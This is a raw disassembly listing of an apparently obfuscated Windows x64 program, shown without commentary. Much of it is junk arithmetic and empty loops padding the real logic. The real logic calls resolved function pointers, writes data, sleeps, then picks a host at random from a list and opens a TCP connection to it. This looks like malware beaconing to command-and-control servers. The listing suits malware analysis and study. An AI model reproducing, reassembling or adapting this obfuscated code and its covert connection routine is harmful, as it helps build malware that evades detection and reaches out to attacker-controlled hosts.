movzx ecx, byte [rbp - 0x1c2]
mov rax, r8
mov rax, r9
test edx, 0x4e98367b
je 0x140004130
mov r11, qword [rbp - 0x2ed]
mov rcx, qword [rbp - 0x3e5]
mov dword [rbp - 0x1bb], ecx
xor qword [rbp - 0x1a0], rax
add r10, r9
mov eax, edx
mov r9, qword [rbp - 0x285]
movzx ecx, cx
mov rdx, qword [rbp - 0x1d7]
mov qword [rbp - 0x258], r8
or dword [rbp - 0x307], edx
or dl, ah
mov eax, dword [rbp - 0x97]
sub eax, dword [rbp - 0xd0]
mov r10, rdx
mov eax, dword [rbp - 0x4bb]
or eax, 0x3175
mov rdx, r11
mov edx, eax
mov qword [rbp - 0x4d1], r8
add ch, byte [rbp - 0x168]
mov edx, eax
mov ecx, dword [rbp - 0x2c2]
mov qword [rbp - 0x36a], r8
mov rax, qword [0x14000aa45]
leave
pop rax
pop rax
cmp eax, 0
jle 0x1400038c2
push rbx
push r15
push rbp
mov rbp, rsp
sub rsp, 0x1a8
add dword [rbp - 0x16c], edx
xor qword [rbp - 0xdf], r11
movzx ecx, byte [rbp - 3]
sub r15, qword [rbp - 0x40]
mov rbx, r11
xor ebx, dword [rbp - 0xe2]
add ebx, 0x950a
add rdx, qword [0x14000aa48]
sub qword [rbp - 0x40], r11
xor rcx, qword [rbp - 0x152]
mov dword [rbp - 0x5f], ebx
movzx eax, byte [str.Im1xQ26E8y2QsDLqN1yASiNu8ch80U8RX7lFaSXWggmV2MGopOqCPKAnLDrD3LycUTUA1zzvhCxxadNsb3swnYzBXU2s]
mov qword [rbp - 0x10], rbx
lea r15, [rbp - 0xd4]
mov r10, qword [0x14000aa42]
add ebx, dword [rbp - 0xef]
mov dx, word [rbp - 0x143]
sub eax, dword [rbp - 0xe]
add rcx, r9
mov eax, dword [rbp - 0xbc]
sub dword [0x14000aa4e], ecx
sub edx, dword [rbp - 0xe]
mov qword [rbp - 0x48], rax
or rax, qword [rbp - 0x19a]
mov rcx, qword [rbp - 0x4a]
lea ecx, [rbp - 0x16]
mov rcx, qword [rbp - 0xea]
test edx, ecx
jne 0x1400042a6
mov dx, word [rbp - 0x140]
mov qword [rbp - 0x140], r8
mov r15, r11
mov r10, qword [rbp - 0x100]
and r8, qword [rbp - 0x23]
mov r11, 0x654f
add rcx, 0x66c7
xor dword [rbp - 0x126], ebx
mov eax, ebx
and r15, qword [rbp - 0x10]
mov eax, ebx
sub r15, qword [rbp - 0x104]
sub rax, r11
movzx edx, word [rbp - 0xaf]
mov rdx, qword [rbp - 0x7e]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004253
mov ecx, 0x7b08
mov ecx, dword [rbp - 0x16c]
mov ebx, dword [rbp - 0xa4]
mov r15, qword [rbp - 0x60]
inc qword [rsp]
cmp qword [rsp], 0xa4bb
jle 0x14000423a
add rsp, 0x10
mov eax, ebx
and ecx, dword [rbp - 0x12b]
add dword [rbp - 0x8e], ecx
add dword [rbp - 0x8d], edx
mov rdx, qword [rbp - 0x31]
lea rbx, [rbp - 0x5a]
xor r15, qword [rbp - 0xdf]
movzx eax, byte [0x14000aa4c]
xor ecx, 0x1465
lea eax, [rbp - 0x2d]
add rbx, r9
mov ebx, dword [rbp - 0x4b]
mov dword [rbp - 0xa8], edx
mov ebx, dword [0x14000aa49]
leave
pop r15
pop rbx
call fcn.14000759d
cmp eax, 0xffffffff
je 0x1400038c2
mov rbx, qword [0x14000a305]
mov dword [rbp - 0xbe], eax
push rax
push rax
push rbx
push rbp
mov rbp, rsp
sub rsp, 0x168
add edx, dword [rbp - 0x68]
mov edx, dword [rbp - 0x16]
mov dword [rbp - 0x67], ebx
mov dword [rbp - 0xb1], ebx
sub qword [rbp - 0x63], rbx
mov ecx, dword [rbp - 0x74]
mov edx, dword [rbp - 0xc5]
mov ebx, 0x405e
mov dword [rbp - 0xa2], ebx
or qword [rbp - 0x11], r9
add rdx, qword [rbp - 0x35]
mov rbx, qword [rbp - 0x155]
mov rdx, 0x5882
mov dword [rbp - 0xc5], ebx
and eax, dword [rbp - 0xad]
movzx ebx, dx
sub bh, byte [rbp - 0xea]
movzx eax, ch
and r11, rdx
movzx edx, ch
mov r11, rbx
mov ecx, dword [rbp - 0xdf]
sub r10, r11
mov bh, dl
add dword [rbp - 0xf4], ecx
movzx ebx, dx
mov qword [rbp - 0x21], r9
lea eax, [rbp - 0x139]
and ecx, dword [rbp - 0x124]
add qword [0x14000aa47], r9
mov dword [rbp - 0xc0], ecx
mov ebx, dword [rbp - 0xe4]
mov rbx, qword [rbp - 0x12f]
mov qword [rbp - 0x15a], rax
mov dword [rbp - 0xe7], edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000439e
add rcx, r10
or qword [rbp - 0x130], r11
mov ecx, dword [rbp - 0xf8]
inc qword [rsp]
mov r10, 0x8572
cmp qword [rsp], r10
jle 0x14000438a
add rsp, 0x10
mov eax, dword [rbp - 0x129]
mov qword [rbp - 0x2d], r10
mov ebx, dword [rbp - 0x140]
mov qword [0x14000aa4c], r10
add eax, dword [rbp - 0xb8]
mov ebx, edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000441b
mov rcx, rbx
add ch, bh
mov r10, qword [rbp - 3]
movzx edx, bl
sub ebx, 0xc6a8
mov qword [rbp - 0xb], rax
and rax, qword [0x14000aa4d]
mov edx, 0xc3ef
mov dword [rbp - 0xa], ecx
add r11, rcx
add edx, ecx
mov dword [rbp - 0x41], ebx
mov rax, qword [rbp - 0xeb]
mov rcx, 0x4c02
inc qword [rsp]
cmp qword [rsp], 0x92d7
jle 0x1400043dc
add rsp, 0x10
cmp ebx, 0x48f3a3cd
jo 0x1400044a8
add dx, word [rbp - 0x19]
and edx, ecx
add qword [rbp - 0x80], r11
and rdx, qword [rbp - 0xc5]
mov eax, dword [rbp - 0x159]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004462
mov ecx, 0x1ef1
mov edx, dword [rbp - 0x5b]
inc qword [rsp]
cmp qword [rsp], 0xefc3
jle 0x140004456
add rsp, 0x10
and eax, dword [rbp - 0x103]
cmp rdx, r10
jae 0x14000447b
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000449a
add edx, dword [rbp - 0xdf]
lea rax, [rbp - 0x10f]
inc qword [rsp]
cmp qword [rsp], 0xcd3b
jle 0x140004489
add rsp, 0x10
leave
pop rbx
pop rax
pop rax
cmp eax, 0xffffffff
jne 0x1400047f3
mov rcx, qword [0x14000a305]
mov rax, qword [0x14000a9c8]
call rax
mov qword [0x14000a305], 0
jmp 0x1400038c2
mov rcx, rbx
lea rdx, [0x14000a265]
mov rax, qword [0x14000a9f8]
call rax
cmp rax, 0
je 0x1400044b5
mov rcx, rbx
lea rdx, [0x14000a275]
mov rax, qword [0x14000a9f8]
call rax
cmp rax, 0
je 0x1400044b5
mov rbx, rax
add rbx, 4
cmp dword [rbx], 0x66666f6f
je 0x140005189
cmp dword [rbp - 0xbe], 0
je 0x1400044b5
push rbp
mov rbp, rsp
sub rsp, 0x468
or dword [rbp - 0x7e], edx
mov edx, eax
mov edx, ecx
sub rdx, r8
mov eax, ecx
lea r11, [rbp - 0x359]
add r9, 0xc42c
mov r9, qword [rbp - 0x1da]
test qword [0x14000aa46], rdx
jno 0x140004a12
mov r11, qword [rbp - 0x136]
xor ecx, eax
mov dword [rbp - 0x32f], ecx
sub r10, r11
mov eax, dword [rbp - 0x3c4]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1400048b0
inc qword [rsp]
mov eax, 0xcdc1
cmp eax, dword [rsp]
jl 0x1400048ac
add rsp, 0x10
mov r9, qword [rbp - 0x39d]
movzx eax, dx
movzx eax, al
mov eax, 0xa58d
mov qword [rbp - 0x381], rcx
mov dword [rbp - 0x5f], ecx
mov dword [rbp - 0x8f], eax
lea r10, [rbp - 0x313]
mov rcx, r9
mov rax, qword [rbp - 0x228]
sub qword [rbp - 0x3a1], r8
lea rcx, [rbp - 0x368]
mov qword [rbp - 0x6c], r9
add rcx, 0xdaae
mov edx, dword [0x14000aa4d]
mov r8, 0x3443
mov ax, word [rbp - 0x20a]
mov rdx, qword [rbp - 0x23c]
mov edx, dword [rbp - 0x20b]
add qword [rbp - 0x247], r8
mov eax, ecx
sub dword [rbp - 0x2b8], eax
mov edx, dword [0x14000aa4d]
sub ecx, dword [rbp - 0x118]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004994
add dword [rbp - 0x3c7], edx
or dword [rbp - 0xaf], ecx
add rcx, qword [rbp - 0x389]
lea rcx, [rbp - 0x53]
mov edx, dword [rbp - 0x13]
mov rcx, r9
movzx edx, ch
sub ecx, eax
mov eax, dword [rbp - 0x1a4]
add eax, edx
movzx edx, al
mov eax, ecx
add qword [rbp - 0xe], r11
or edx, dword [rbp - 0x328]
mov dword [rbp - 0x42], edx
inc qword [rsp]
mov edx, 0xe3bc
cmp edx, dword [rsp]
jl 0x140004954
add rsp, 0x10
nop
mov dword [0x14000aa4e], ecx
movzx eax, al
mov r10, r8
sub qword [rbp - 0x1d6], r9
xor qword [0x14000aa4a], r9
add dword [rbp - 0x1dc], ecx
mov qword [rbp - 0x259], r8
movzx edx, dh
mov edx, dword [rbp - 0x1a4]
xor qword [rbp - 0x187], r9
mov eax, 0xcd68
mov qword [rbp - 0x1ee], r8
movzx edx, ch
mov dword [rbp - 0x35e], eax
mov edx, dword [rbp - 0x442]
mov eax, dword [rbp - 0x188]
mov r11, rdx
xor dword [rbp - 0x1fc], ecx
mov eax, 0x59f7
mov ecx, dword [rbp - 0x1f2]
movzx ecx, ah
leave
mov rdi, rbx
movsxd rsi, dword [rbp - 0xbe]
mov r12, rsi
dec rsi
call fcn.140005443
movsxd rsi, dword [rbp - 0xbe]
mov al, byte [rbx + rsi - 1]
mov byte [0x14000a498], al
call fcn.1400068a1
lea rsi, [0x14000a008]
push r12
push r14
push r13
push rbx
push rsi
push rbp
mov rbp, rsp
sub rsp, 0x368
mov r13, qword [rbp - 0x293]
movzx esi, byte [str.Im1xQ26E8y2QsDLqN1yASiNu8ch80U8RX7lFaSXWggmV2MGopOqCPKAnLDrD3LycUTUA1zzvhCxxadNsb3swnYzBXU2s]
add qword [rbp - 0x40], r10
xor qword [rbp - 0x33e], r13
movzx ecx, ah
mov r9, 0xe0a7
mov r11, rbx
and qword [rbp - 0x21], r9
mov edx, eax
mov ebx, dword [0x14000aa48]
sub r9, r12
mov dword [rbp - 0x258], edx
sub esi, ecx
movzx ecx, byte [rbp - 0x26b]
mov dword [rbp - 0xb9], ebx
movzx eax, bh
lea ecx, [rbp - 0x95]
add qword [rbp - 0x13a], r11
mov ecx, 0xe825
mov edx, esi
mov edx, ebx
sub r13, qword [rbp - 0xe1]
movzx ebx, byte [0x14000aa49]
lea rdx, [rbp - 0x1df]
mov qword [rbp - 0x1c6], r11
lea eax, [rbp - 0x83]
sub rdx, r9
mov rcx, r13
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004b1a
mov qword [rbp - 0x13d], rbx
sub r14, qword [rbp - 0x315]
xor cx, 0x4a63
movzx edx, al
mov edx, dword [rbp - 0x191]
mov edx, dword [rbp - 0x2b9]
movzx edx, bl
inc qword [rsp]
cmp qword [rsp], 0x512
jle 0x140004af1
add rsp, 0x10
lea r8, [rbp - 0x337]
mov rdx, qword [rbp - 0x148]
or rcx, r13
test r13, rsi
jne 0x140004bf0
movzx ecx, ah
mov ebx, dword [rbp - 0x173]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004bde
movzx ebx, bx
movzx ecx, ax
mov r13, qword [rbp - 8]
mov rdx, r14
mov qword [rbp - 0x47], r10
mov r9, 0xf786
mov esi, dword [rbp - 0x333]
mov rsi, 0x4d1a
mov edx, dword [rbp - 0x196]
movzx edx, byte [rbp - 0x22c]
mov r8, qword [rbp - 0x137]
and esi, dword [rbp - 0xb4]
add eax, ebx
mov qword [rbp - 0x2ee], rcx
mov qword [str.Im1xQ26E8y2QsDLqN1yASiNu8ch80U8RX7lFaSXWggmV2MGopOqCPKAnLDrD3LycUTUA1zzvhCxxadNsb3swnYzBXU2s], r14
xor qword [rbp - 0x4b], rcx
mov dword [rbp - 0x152], eax
lea eax, [rbp - 0x14c]
mov r8, 0xe495
mov r9, r12
add r14, qword [0x14000aa47]
mov qword [rbp - 0x251], r11
sub qword [rbp - 0x1a5], r12
inc qword [rsp]
mov ecx, 0xa908
cmp ecx, dword [rsp]
jl 0x140004b5c
add rsp, 0x10
mov r12, qword [rbp - 0x76]
mov qword [rbp - 0xce], r13
movzx eax, ah
mov dword [rbp - 0x342], esi
mov rcx, r13
add dword [rbp - 0x2a], ecx
mov qword [rbp - 0x31], rbx
mov r14, qword [rbp - 0x16e]
leave
pop rsi
pop rbx
pop r13
pop r14
pop r12
mov rcx, rsi
lea rdx, [0x14000a103]
cmp byte [0x14000a498], 1
jne 0x140004c38
lea rdx, [0x14000a108]
mov rax, qword [0x14000a9e8]
call rax
mov rcx, rsi
lea rdx, [0x14000a30d]
mov rax, qword [0x14000a9c0]
call rax
push rax
push rax
push r14
push r15
push r12
push r13
push rdi
push rbp
mov rbp, rsp
sub rsp, 0x328
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004df3
mov qword [rbp - 0x11b], r15
mov rcx, qword [rbp - 0x79]
mov r11, 0x290e
mov r14, qword [rbp - 0x2b3]
mov dword [rbp - 0x290], edx
add edi, dword [rbp - 0xa1]
mov rdi, 0x44b0
add edx, 0xf49b
sub rax, qword [rbp - 0x1b3]
mov rax, qword [rbp - 0x319]
movzx edi, cx
mov r11, qword [rbp - 0x26]
mov edx, 0xf971
sub qword [0x14000aa4d], rax
or r11, 0x3327
mov eax, 0xe0fd
or r13, r10
movzx edx, al
mov r11, qword [rbp - 0xfd]
lea r12, [rbp - 0x31f]
sub r12, 0xf866
movzx edx, byte [rbp - 0x16b]
add r11, r8
movzx ecx, ah
movzx eax, dh
mov rdx, 0x4852
mov dword [rbp - 0xcc], eax
mov r12, r9
add r9, qword [rbp - 0xb0]
add eax, dword [rbp - 0x1f1]
add r11, rdx
movzx edx, dh
mov qword [rbp - 0x152], rcx
movzx ecx, al
mov rdx, qword [rbp - 0x2a9]
or dword [rbp - 0x1ee], edx
xor qword [0x14000aa4e], rdi
add r9, qword [rbp - 0x2d7]
mov r11, rdi
mov byte [rbp - 0xa9], al
movzx edi, dl
lea r13, [0x14000aa4c]
mov dword [rbp - 0x71], edi
mov r11, 0x4b62
and rdx, qword [rbp - 0x292]
mov r12, qword [rbp - 0x29a]
movzx ecx, byte [0x14000aa41]
xor r12, qword [rbp - 0x1fc]
mov dword [rbp - 0x13b], eax
and ecx, dword [rbp - 0x15f]
mov edx, dword [rbp - 0x193]
mov qword [0x14000aa41], r15
mov r15, qword [rbp - 0xea]
and r9, qword [rbp - 0x241]
mov dword [rbp - 0x228], edi
mov qword [rbp - 0x30d], r15
mov qword [rbp - 0x5d], r9
sub qword [rbp - 0x2a1], rdx
mov r15, 0x6152
mov ecx, edx
mov r15, qword [0x14000aa42]
mov eax, 0xb21a
add edx, eax
add r9, qword [0x14000aa45]
add rax, 0x19d9
mov dword [rbp - 0x286], ecx
inc qword [rsp]
mov edi, 0x55c7
cmp edi, dword [rsp]
jl 0x140004c7b
add rsp, 0x10
sub rax, r9
mov dword [rbp - 0x2c], ecx
mov edi, dword [rbp - 0xf0]
mov dword [0x14000aa41], eax
add dword [rbp - 0xe5], eax
sub qword [rbp - 0x16a], r14
leave
pop rdi
pop r13
pop r12
pop r15
pop r14
pop rax
pop rax
cmp rax, 0
je 0x1400044b5
mov rdi, rax
mov rcx, rbx
mov rdx, 1
movsxd r8, dword [rbp - 0xbe]
dec r8
mov r9, rdi
mov rax, qword [0x14000a9d0]
call rax
push r15
push rbx
push rbp
mov rbp, rsp
sub rsp, 0x298
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140004f77
mov dword [rbp - 0x288], ebx
lea r8, [rbp - 0x75]
mov qword [0x14000aa4f], r9
mov ebx, dword [rbp - 0x140]
and qword [rbp - 0x23b], r8
mov dword [rbp - 0xb5], ecx
mov dword [rbp - 0x22], edx
lea edx, [rbp - 0x18f]
add rdx, qword [rbp - 0x45]
and eax, dword [rbp - 0x278]
lea rbx, [rbp - 0x94]
or edx, dword [rbp - 0x17a]
add qword [rbp - 0x192], rcx
lea r8, [rbp - 0x197]
mov r8, qword [rbp - 0x16d]
add qword [rbp - 0x23d], r9
mov qword [rbp - 0x6a], rbx
xor ecx, ebx
mov word [rbp - 0x12a], cx
mov dword [rbp - 0x26f], ebx
or dword [rbp - 0x132], ecx
movzx ebx, cx
sub rbx, 0x3cd2
mov r11, 0x4b42
mov rbx, rdx
mov dword [rbp - 0x168], ecx
mov ebx, dword [rbp - 0x289]
mov dword [rbp - 0x146], edx
sub r8, rax
or ebx, ecx
mov qword [str.Im1xQ26E8y2QsDLqN1yASiNu8ch80U8RX7lFaSXWggmV2MGopOqCPKAnLDrD3LycUTUA1zzvhCxxadNsb3swnYzBXU2s], rax
mov dword [rbp - 0x251], edx
mov rbx, 0xfbd7
mov eax, dword [rbp - 0x3e]
mov r11, rdx
mov r11, r15
mov edx, dword [rbp - 0xa]
mov ecx, dword [rbp - 0x22d]
mov r15, qword [rbp - 0x259]
mov rbx, qword [rbp - 7]
mov ecx, dword [rbp - 0x27d]
mov rbx, qword [rbp - 0x7a]
mov rbx, qword [rbp - 0x23f]
mov ah, cl
mov r9, r10
sub rdx, rcx
mov ecx, dword [rbp - 0x1e8]
add rbx, r8
inc qword [rsp]
mov edx, 0x392b
cmp edx, dword [rsp]
jl 0x140004e7c
add rsp, 0x10
lea edx, [rbp - 0x1dd]
mov r11, qword [rbp - 0x190]
or dword [rbp - 0xc6], eax
add dword [rbp - 0x1eb], ebx
add ebx, dword [rbp - 0x206]
add r9, qword [0x14000aa4f]
mov eax, dword [rbp - 0x28d]
mov eax, dword [rbp - 0xb8]
lea r9, [rbp - 0x274]
mov edx, dword [rbp - 0x169]
lea rbx, [rbp - 0x1d7]
mov r10, qword [rbp - 0x250]
add dword [rbp - 0x139], eax
add rax, 0x49f8
mov dword [rbp - 0x269], edx
mov edx, dword [rbp - 0x25e]
xor ebx, dword [rbp - 0x195]
add r9, qword [rbp - 0x91]
mov qword [rbp - 0x206], r11
add dword [rbp - 0x106], ecx
lea r10, [rbp - 0x128]
lea rax, [rbp - 0x159]
movzx edx, dh
movzx eax, dh
or ebx, dword [rbp - 0x1ce]
leave
pop rbx
pop r15
mov rcx, rdi
mov rax, qword [0x14000a9b8]
call rax
mov rcx, qword [0x14000a305]
mov rax, qword [0x14000a9c8]
call rax
mov qword [0x14000a305], 0
cmp byte [0x14000a498], 1
jne 0x140005077
lea rcx, [0x14000a4b0]
lea rdx, [0x14000a499]
mov r8, rsi
mov rax, qword [0x14000a9e0]
call rax
lea rsi, [0x14000a4b0]
push r13
push rsi
push rdi
push rbx
push r15
push r14
push rbp
mov rbp, rsp
sub rsp, 0xc8
or r14, qword [rbp - 0xb4]
xor ecx, dword [rbp - 0x2d]
add qword [rbp - 0x1b], rsi
mov qword [rbp - 0x2a], rax
mov ebx, dword [rbp - 0x24]
xor r8, rcx
mov qword [rbp - 0x5a], r10
and r14, rbx
mov dword [rbp - 0x17], eax
mov rdi, qword [rbp - 0x2a]
add esi, dword [0x14000aa4c]
and rdi, rsi
mov dword [rbp - 0x6f], eax
mov qword [rbp - 0x74], r11
mov dword [rbp - 0x3b], ebx
mov ecx, esi
mov qword [rbp - 0x4b], rdx
xor edx, dword [rbp - 0xd]
mov eax, dword [rbp - 0x50]
mov eax, 0x52cb
mov qword [rbp - 0xb0], r11
mov rbx, qword [0x14000aa4b]
mov eax, dword [rbp - 0x83]
xor ebx, esi
mov ecx, dword [rbp - 0xb7]
mov eax, ebx
sub edx, 0x27eb
mov dword [rbp - 0x51], ecx
mov rbx, r8
mov eax, dword [rbp - 0x61]
mov r9, qword [rbp - 0xb9]
sub dword [rbp - 0x22], eax
mov dword [rbp - 0x3b], edi
movzx ecx, byte [rbp - 0x4a]
mov r11, r13
mov qword [rbp - 0x22], r11
mov dword [rbp - 0xa2], edi
mov r15, rbx
mov dword [rbp - 0x76], ecx
lea rdx, [rbp - 0x97]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140005160
sub edx, dword [rbp - 1]
mov qword [rbp - 0x7b], rcx
xor edx, eax
sub rax, 0xb7a7
mov r9, qword [rbp - 0x6f]
and qword [rbp - 0x1a], r13
and qword [0x14000aa42], r15
movzx edx, ch
inc qword [rsp]
cmp qword [rsp], 0xd85d
jle 0x14000513b
add rsp, 0x10
leave
pop r14
pop r15
pop rbx
pop rdi
pop rsi
pop r13
mov r10, 0
call fcn.140005c58
jmp 0x1400042aa
mov rax, 0
call sub.KERNEL32.dll_ExitProcess
push rbp
mov rbp, rsp
sub rsp, 0xc8
mov r10, qword [rbp - 0x68]
mov dword [rbp - 0x23], edx
add ecx, 0x931a
mov eax, dword [rbp - 0x14]
mov dword [rbp - 0x40], eax
mov dword [rbp - 0x7f], edx
test r10, rcx
jne 0x140005229
mov dword [rbp - 0x1d], ecx
mov qword [rbp - 0x1b], rax
or rdx, 0x30ab
mov dword [rbp - 0x62], ecx
call sub.USER32.dll_DisplayExitWindowsWarnings
sub dword [0x14000aa4f], ecx
sub ecx, 0x610d
mov r10, r11
or r8, r10
mov r8, qword [rbp - 0xa]
mov qword [rbp - 0x1a], r8
call sub.USER32.dll_CharToOemBuffW
add edx, ecx
and r8, 0xbd41
mov qword [rbp - 0x10], rdx
add qword [rbp - 0x56], rax
call fcn.14000522b
lea r10, [0x14000aa47]
movzx ecx, cl
mov r9, r10
add qword [rbp - 0xb6], r9
mov rax, r11
mov r10, qword [rbp - 0x3b]
add qword [rbp - 0x38], rdx
mov r11, qword [rbp - 0x28]
leave
ret
push rbp
mov rbp, rsp
sub rsp, 0x138
mov dword [rbp - 0x12a], eax
movzx edx, ah
cmp rax, qword [0x14000aa49]
jae 0x140007437
mov qword [rbp - 0xa], rdx
mov byte [rbp - 0x113], cl
mov ecx, dword [rbp - 0xb]
add rdx, qword [rbp - 0x3f]
mov rcx, qword [rbp - 0xf1]
mov r10, qword [0x14000aa4b]
mov ch, byte [0x14000aa41]
mov qword [rbp - 0xd2], rcx
movzx ecx, dl
sub r9, qword [rbp - 0x44]
mov qword [0x14000aa46], rcx
movzx eax, ax
mov qword [rbp - 0x19], r8
mov dword [rbp - 0xb0], edx
mov r10, qword [rbp - 0xcd]
mov qword [rbp - 0xd1], rcx
mov qword [0x14000aa47], r10
mov edx, eax
sub r10, r9
add dword [rbp - 0x16], eax
mov qword [rbp - 0x32], rax
mov r8, r11
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140007416
mov qword [rbp - 0x96], r9
mov qword [rbp - 0xf7], r8
mov rdx, rcx
inc qword [rsp]
cmp qword [rsp], 0x3903
jle 0x140007401
add rsp, 0x10
movzx edx, al
add dword [rbp - 0x8d], eax
mov r8, qword [rbp - 0x105]
lea edx, [rbp - 0x52]
or eax, ecx
mov ecx, edx
mov edx, eax
mov qword [rbp - 0xf6], r10
mov edx, dword [rbp - 0x8c]
sub dword [0x14000aa47], eax
test eax, ecx
je 0x1400074b5
movzx eax, dh
or r10, 0xb3b1
mov ax, word [rbp - 0x47]
mov dword [rbp - 0x45], ecx
mov eax, dword [rbp - 0x16]
mov edx, ecx
mov eax, edx
mov r11, qword [rbp - 0x19]
mov qword [rbp - 0x4c], r11
mov r9, r8
mov rdx, qword [rbp - 0x8a]
movzx ecx, dl
xor eax, dword [rbp - 0xf6]
lea rcx, [rbp - 0x54]
mov dword [rbp - 0xd3], edx
mov r9, 0x5ab
mov r11, r8
mov qword [rbp - 0x7c], r10
add ecx, edx
sub dword [0x14000aa4d], ecx
mov r11, rcx
mov word [rbp - 0x7e], ax
sub r11, r9
xor rdx, qword [rbp - 0x14]
mov r8, 0x3ab5
mov rax, qword [rbp - 0x10b]
leave
mov rcx, 0x1388
call sub.KERNEL32.dll_Sleep
mov rax, 0
cmp rax, 0
je 0x140007367
push rbx
sub rsp, 0x30
call sub.msvcrt.dll_rand
cdq
idiv dword [0x14000a90c]
lea rcx, [0x14000a8f4]
mov rcx, qword [rcx + rdx*8]
mov qword [0x14000a1d3], rcx
xor r8d, r8d
lea rdx, [0x14000a1d0]
mov qword [rsp + 0x28], 0
lea r9, [rsp + 0x28]
call sub.WS2_32.dll_getaddrinfo
test eax, eax
jne 0x14000757b
mov rax, qword [rsp + 0x28]
mov r8d, 6
mov edx, 1
mov ecx, dword [rax + 4]
call sub.WS2_32.dll_socket
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140007571
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rcx + 0x20]
mov r8d, dword [rcx + 0x10]
mov rcx, rbx
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
je 0x140007569
mov rax, rbx
add rsp, 0x30
pop rbx
ret
mov rcx, rbx
call sub.WS2_32.dll_closesocket
mov rcx, qword [rsp + 0x28]
call sub.WS2_32.dll_freeaddrinfo
mov rax, 0xffffffffffffffff
add rsp, 0x30
pop rbx
ret